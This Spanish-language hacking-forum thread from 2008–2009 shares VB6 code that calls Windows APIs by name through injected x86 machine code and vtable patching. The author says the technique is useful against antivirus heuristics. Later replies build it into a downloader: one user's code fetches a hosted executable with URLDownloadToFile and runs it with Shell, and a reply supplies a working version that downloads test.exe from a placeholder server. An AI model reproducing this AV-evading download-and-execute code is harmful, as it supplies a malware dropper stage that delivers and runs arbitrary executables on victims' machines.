elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Call API By Name Usin vtable Patch
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Call API By Name Usin vtable Patch  (Leído 4,733 veces)
cobein


Desconectado Desconectado

Mensajes: 759



Ver Perfil WWW
Call API By Name Usin vtable Patch
« en: 1 Septiembre 2008, 00:54 am »

Modulo de Clase
Código
  1. '---------------------------------------------------------------------------------------
  2. ' Module      : cCallAPIByName
  3. ' DateTime    : 31/08/2008 19:40
  4. ' Author      : Cobein
  5. ' Mail        : cobein27@hotmail.com
  6. ' WebPage     : http://www.advancevb.com.ar
  7. ' Purpose     : Call APIs by name
  8. ' Usage       : At your own risk
  9. ' Requirements: None
  10. ' Distribution: You can freely use this code in your own
  11. '               applications, but you may not reproduce
  12. '               or publish this code on any web site,
  13. '               online service, or distribute as source
  14. '               on any media without express permission.
  15. '
  16. ' Credits     : Arne Elster, original callpointer function.
  17. '
  18. ' History     : 31/08/2008 First Cut....................................................
  19. '---------------------------------------------------------------------------------------
  20. Option Explicit
  21.  
  22. Private Declare Sub CpyMem Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal dlen As Long)
  23. Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
  24. Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
  25.  
  26. Public Function DoNotCall() As Long
  27. '
  28. End Function
  29.  
  30. Public Function CallAPIByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
  31.    Dim lPtr                As Long
  32.    Dim bvASM(&HEC00& - 1)  As Byte
  33.    Dim i                   As Long
  34.    Dim lMod                As Long
  35.  
  36.    lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
  37.    If lMod = 0 Then Exit Function
  38.  
  39.    lPtr = VarPtr(bvASM(0))
  40.    CpyMem ByVal lPtr, &H59595958, &H4:            lPtr = lPtr + 4
  41.    CpyMem ByVal lPtr, &H5059, &H2:                lPtr = lPtr + 2
  42.    For i = UBound(Params) To 0 Step -1
  43.        CpyMem ByVal lPtr, &H68, &H1:              lPtr = lPtr + 1
  44.        CpyMem ByVal lPtr, CLng(Params(i)), &H4:   lPtr = lPtr + 4
  45.    Next
  46.    CpyMem ByVal lPtr, &HE8, &H1:                  lPtr = lPtr + 1
  47.    CpyMem ByVal lPtr, lMod - lPtr - 4, &H4:       lPtr = lPtr + 4
  48.    CpyMem ByVal lPtr, &HC3, &H1
  49.  
  50.    Dim lVTE                As Long
  51.    Dim lRet                As Long
  52.  
  53.    CpyMem lVTE, ByVal ObjPtr(Me), &H4
  54.    lVTE = lVTE + &H1C
  55.    CpyMem lRet, ByVal lVTE, &H4
  56.    CpyMem ByVal lVTE, VarPtr(bvASM(0)), &H4
  57.    CallAPIByName = DoNotCall
  58.    CpyMem ByVal lVTE, lRet, &H4
  59. End Function
  60.  

Como Llamarlo
Código
  1. Option Explicit
  2.  
  3. Private Sub Form_Load()
  4.    Dim c As New cCallAPIByName
  5.  
  6.    c.CallAPIByName "user32", "MessageBoxW", 0, VarPtr(ByVal "Test"), VarPtr(ByVal "Test"), 0
  7.  
  8. End Sub
  9.  


En línea

http://www.advancevb.com.ar
Más Argentino que el morcipan
Aguante el Uvita tinto, Tigre, Ford y seba123neo
Karcrack es un capo.
el_c0c0


Desconectado Desconectado

Mensajes: 307


Ver Perfil
Re: Call API By Name Usin vtable Patch
« Respuesta #1 en: 1 Septiembre 2008, 02:29 am »

.


« Última modificación: 14 Septiembre 2008, 19:55 pm por el_c0c0 » En línea

'-     coco
"Te voy a romper el orto"- Las hemorroides
seba123neo
Moderador
***
Desconectado Desconectado

Mensajes: 3.621


"No quiero creer, quiero saber" - Carl Sagan


Ver Perfil WWW
Re: Call API By Name Usin vtable Patch
« Respuesta #2 en: 1 Septiembre 2008, 05:15 am »

esta bueno, coco para saber eso se me ocurre que se podria cargar primero la libreria con LoadLibrary y si no existe mostrar un mensjae que no existe y si carga la libreria es porque existe y bueno.. que siga normalmente....

saludos.
En línea

La característica extraordinaria de las leyes de la física es que se aplican en todos lados, sea que tú elijas o no creer en ellas. Lo bueno de las ciencias es que siempre tienen la verdad, quieras creerla o no.

Neil deGrasse Tyson
cobein


Desconectado Desconectado

Mensajes: 759



Ver Perfil WWW
Re: Call API By Name Usin vtable Patch
« Respuesta #3 en: 1 Septiembre 2008, 06:45 am »

Si la libreria no esta lMod va a ser 0 y sale de la funcion directamente.
Con respecto al AV seguramente si detecta la llamada a la api lo va a detectar por que es lo mismo, esto es mas util por el tema de la heuristica.

Importante: vi que el valor de retorno no esta bien, voy a tener que revisar todo a ver que pasa.
En línea

http://www.advancevb.com.ar
Más Argentino que el morcipan
Aguante el Uvita tinto, Tigre, Ford y seba123neo
Karcrack es un capo.
illuminat3d

Desconectado Desconectado

Mensajes: 231



Ver Perfil WWW
Re: Call API By Name Usin vtable Patch
« Respuesta #4 en: 5 Junio 2009, 19:17 pm »

Bueno sinceramente siento revivir el tema, pero es para no crear otro post.
Mi problema es el siguiente, estoy llamando a la api UrlDownloadToFileA, el modulo está declarado y todo.. como prueba tengo otra api llamada (CopyFile) que funciona correctamente.

Bueno así tengo lo de la api de UrlDownloadToFileA :

Código
  1.  
  2.  
  3. .....
  4.  
  5. If sDown = "Si" Then
  6.   Descargar dUrl, aCarpeta & "\Down.exe"
  7.   Shell aCarpeta & "\Down.exe"
  8.  End If
  9.  
  10. .....
  11.  
  12. Function Descargar(Url As String, FileName As String) As Long
  13. Dim lRet As Long
  14.    lRet = c.CallAPIByName("urlmon", "URLDownloadToFileA", 0, StrPtr(Url), StrPtr(FileName), 0, 0)
  15. End Function

El problema es que el archivo hosteado no se descarga a la carpeta, los datos de las cadenas están comprobados pero sigue sin descargarse.

Alguna solución?

Saludos! :-\

En línea

Karcrack


Desconectado Desconectado

Mensajes: 2.419


Se siente observado ¬¬'


Ver Perfil
Re: Call API By Name Usin vtable Patch
« Respuesta #5 en: 5 Junio 2009, 20:59 pm »

Código
  1. 'Call API Function
  2. 'Credits to Cobein
  3.  
  4. Declare Sub RtlMoveMemory Lib "kernel32" (dest As Any, src As Any, ByVal L As Long)
  5. Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
  6. Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
  7. Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
  8.  
  9. Function CallApiByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
  10. On Error Resume Next
  11.    Dim lPtr                As Long
  12.    Dim bvASM(&HEC00& - 1)  As Byte
  13.    Dim I                   As Long
  14.    Dim lMod                As Long
  15.  
  16.    lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
  17.    If lMod = 0 Then Exit Function
  18.  
  19.    lPtr = VarPtr(bvASM(0))
  20.    RtlMoveMemory ByVal lPtr, &H59595958, &H4:              lPtr = lPtr + 4
  21.    RtlMoveMemory ByVal lPtr, &H5059, &H2:                  lPtr = lPtr + 2
  22.    For I = UBound(Params) To 0 Step -1
  23.        RtlMoveMemory ByVal lPtr, &H68, &H1:                lPtr = lPtr + 1
  24.        RtlMoveMemory ByVal lPtr, CLng(Params(I)), &H4:     lPtr = lPtr + 4
  25.    Next
  26.    RtlMoveMemory ByVal lPtr, &HE8, &H1:                    lPtr = lPtr + 1
  27.    RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4:         lPtr = lPtr + 4
  28.    RtlMoveMemory ByVal lPtr, &HC3, &H1:                    lPtr = lPtr + 1
  29.    CallApiByName = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
  30.  
  31. End Function

Código
  1. lRet = CallApiByName("urlmon", "URLDownloadToFileW", 0, StrPtr("http://server.com/test.exe"), StrPtr("C:\test.exe"), 0, 0)

Fuente:
Código:
http://hackhound.org/forum/index.php?topic=6795.0

Prueba asi...
En línea

illuminat3d

Desconectado Desconectado

Mensajes: 231



Ver Perfil WWW
Re: Call API By Name Usin vtable Patch
« Respuesta #6 en: 6 Junio 2009, 02:13 am »

Ok era el modulo entonces  ;D
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines